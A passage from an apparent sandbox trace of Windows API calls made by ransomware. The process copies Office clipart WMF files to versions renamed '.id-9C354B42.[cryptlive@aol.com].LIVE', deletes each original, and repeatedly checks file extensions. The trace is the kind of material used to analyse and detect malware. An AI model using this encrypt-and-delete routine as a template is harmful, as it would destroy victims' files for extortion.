office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.066] GetLastError () returned 0x0 [0144.066] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x4604, lpOverlapped=0x0) returned 1 [0144.069] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4610, lpOverlapped=0x0) returned 1 [0144.070] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.070] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.070] SetEndOfFile (hFile=0x3a8) returned 1 [0144.070] CloseHandle (hObject=0x3a8) returned 1 [0144.070] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.070] SetEndOfFile (hFile=0x388) returned 1 [0144.073] CloseHandle (hObject=0x388) returned 1 [0144.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0144.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString=".doc") returned 4 [0144.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString=".docx") returned 5 [0144.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.075] lstrlenW (lpString=".pdf") returned 4 [0144.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString=".xls") returned 4 [0144.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.075] lstrlenW (lpString=".xlsx") returned 5 [0144.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.075] lstrlenW (lpString=".ppt") returned 4 [0144.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString=".zip") returned 4 [0144.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.075] lstrlenW (lpString=".rar") returned 4 [0144.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString=".bz2") returned 4 [0144.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString=".7z") returned 3 [0144.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString=".dbf") returned 4 [0144.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString=".1cd") returned 4 [0144.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString=".jpg") returned 4 [0144.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.075] lstrlenW (lpString=".doc") returned 4 [0144.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString=".docx") returned 5 [0144.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.076] lstrlenW (lpString=".pdf") returned 4 [0144.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString=".xls") returned 4 [0144.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.076] lstrlenW (lpString=".xlsx") returned 5 [0144.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.076] lstrlenW (lpString=".ppt") returned 4 [0144.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.076] lstrlenW (lpString=".zip") returned 4 [0144.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.076] lstrlenW (lpString=".rar") returned 4 [0144.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString=".bz2") returned 4 [0144.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString=".7z") returned 3 [0144.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.076] lstrlenW (lpString=".dbf") returned 4 [0144.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.076] lstrlenW (lpString=".1cd") returned 4 [0144.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0144.076] lstrlenW (lpString=".jpg") returned 4 [0144.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.077] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.077] lstrlenW (lpString="FD01659_.WMF") returned 12 [0144.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.078] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=31180) returned 1 [0144.078] CloseHandle (hObject=0x388) returned 1 [0144.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0144.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.078] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.078] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.079] GetLastError () returned 0x0 [0144.079] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x79cc, lpOverlapped=0x0) returned 1 [0144.082] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0144.083] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.083] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.084] SetEndOfFile (hFile=0x3a8) returned 1 [0144.084] CloseHandle (hObject=0x3a8) returned 1 [0144.084] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.084] SetEndOfFile (hFile=0x388) returned 1 [0144.086] CloseHandle (hObject=0x388) returned 1 [0144.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0144.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.087] lstrlenW (lpString=".doc") returned 4 [0144.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.087] lstrlenW (lpString=".docx") returned 5 [0144.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.088] lstrlenW (lpString=".pdf") returned 4 [0144.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString=".xls") returned 4 [0144.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.088] lstrlenW (lpString=".xlsx") returned 5 [0144.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.088] lstrlenW (lpString=".ppt") returned 4 [0144.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.088] lstrlenW (lpString=".zip") returned 4 [0144.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.088] lstrlenW (lpString=".rar") returned 4 [0144.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString=".bz2") returned 4 [0144.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString=".7z") returned 3 [0144.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.088] lstrlenW (lpString=".dbf") returned 4 [0144.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.088] lstrlenW (lpString=".1cd") returned 4 [0144.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.088] lstrlenW (lpString=".jpg") returned 4 [0144.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.088] lstrlenW (lpString=".doc") returned 4 [0144.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString=".docx") returned 5 [0144.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.088] lstrlenW (lpString=".pdf") returned 4 [0144.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.088] lstrlenW (lpString=".xls") returned 4 [0144.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.089] lstrlenW (lpString=".xlsx") returned 5 [0144.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.089] lstrlenW (lpString=".ppt") returned 4 [0144.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.089] lstrlenW (lpString=".zip") returned 4 [0144.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.089] lstrlenW (lpString=".rar") returned 4 [0144.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.089] lstrlenW (lpString=".bz2") returned 4 [0144.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.089] lstrlenW (lpString=".7z") returned 3 [0144.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.089] lstrlenW (lpString=".dbf") returned 4 [0144.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.089] lstrlenW (lpString=".1cd") returned 4 [0144.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0144.089] lstrlenW (lpString=".jpg") returned 4 [0144.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.089] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.089] lstrlenW (lpString="FD01660_.WMF") returned 12 [0144.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.090] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12958) returned 1 [0144.090] CloseHandle (hObject=0x388) returned 1 [0144.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0144.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.090] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.091] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.091] GetLastError () returned 0x0 [0144.091] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x329e, lpOverlapped=0x0) returned 1 [0144.450] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0144.452] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.452] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.452] SetEndOfFile (hFile=0x3a8) returned 1 [0144.851] CloseHandle (hObject=0x3a8) returned 1 [0145.222] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.223] SetEndOfFile (hFile=0x388) returned 1 [0145.225] CloseHandle (hObject=0x388) returned 1 [0145.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.327] lstrlenW (lpString=".doc") returned 4 [0145.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.327] lstrlenW (lpString=".docx") returned 5 [0145.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.327] lstrlenW (lpString=".pdf") returned 4 [0145.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.327] lstrlenW (lpString=".xls") returned 4 [0145.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.327] lstrlenW (lpString=".xlsx") returned 5 [0145.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.327] lstrlenW (lpString=".ppt") returned 4 [0145.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.327] lstrlenW (lpString=".zip") returned 4 [0145.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.327] lstrlenW (lpString=".rar") returned 4 [0145.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.327] lstrlenW (lpString=".bz2") returned 4 [0145.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString=".7z") returned 3 [0145.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString=".dbf") returned 4 [0145.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString=".1cd") returned 4 [0145.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString=".jpg") returned 4 [0145.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString=".doc") returned 4 [0145.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString=".docx") returned 5 [0145.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.328] lstrlenW (lpString=".pdf") returned 4 [0145.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString=".xls") returned 4 [0145.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.328] lstrlenW (lpString=".xlsx") returned 5 [0145.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.328] lstrlenW (lpString=".ppt") returned 4 [0145.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString=".zip") returned 4 [0145.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.328] lstrlenW (lpString=".rar") returned 4 [0145.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString=".bz2") returned 4 [0145.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.328] lstrlenW (lpString=".7z") returned 3 [0145.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.328] lstrlenW (lpString=".dbf") returned 4 [0145.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.329] lstrlenW (lpString=".1cd") returned 4 [0145.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0145.329] lstrlenW (lpString=".jpg") returned 4 [0145.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.329] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.329] lstrlenW (lpString="HH00084_.WMF") returned 12 [0145.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.444] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2472) returned 1 [0145.444] CloseHandle (hObject=0x3a8) returned 1 [0145.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0145.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.445] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.445] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0145.446] GetLastError () returned 0x0 [0145.446] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x9a8, lpOverlapped=0x0) returned 1 [0145.465] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x9b0, 